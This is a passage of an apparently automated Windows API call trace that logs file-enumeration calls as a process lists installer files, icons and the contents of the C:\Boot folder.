ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0132.062] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0132.062] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0132.062] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0132.062] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0132.063] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0132.064] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0132.064] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0132.064] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0132.122] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0132.122] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0132.122] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0132.122] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0132.122] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0132.122] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0132.122] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0132.123] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0133.275] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0133.275] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0133.275] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0133.275] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0133.275] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0133.275] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0133.276] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0133.276] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0133.276] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0133.276] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0133.276] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0133.276] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0133.276] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0133.276] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0133.276] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0133.276] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0133.277] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0133.277] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0133.345] FindClose (in: hFindFile=0x5bac78 | out: hFindFile=0x5bac78) returned 1 [0133.346] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0133.346] FindNextFileW (in: hFindFile=0x5bab78, lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0133.347] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x69b208 [0133.348] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0133.349] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0133.349] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0133.349] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0133.349] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, 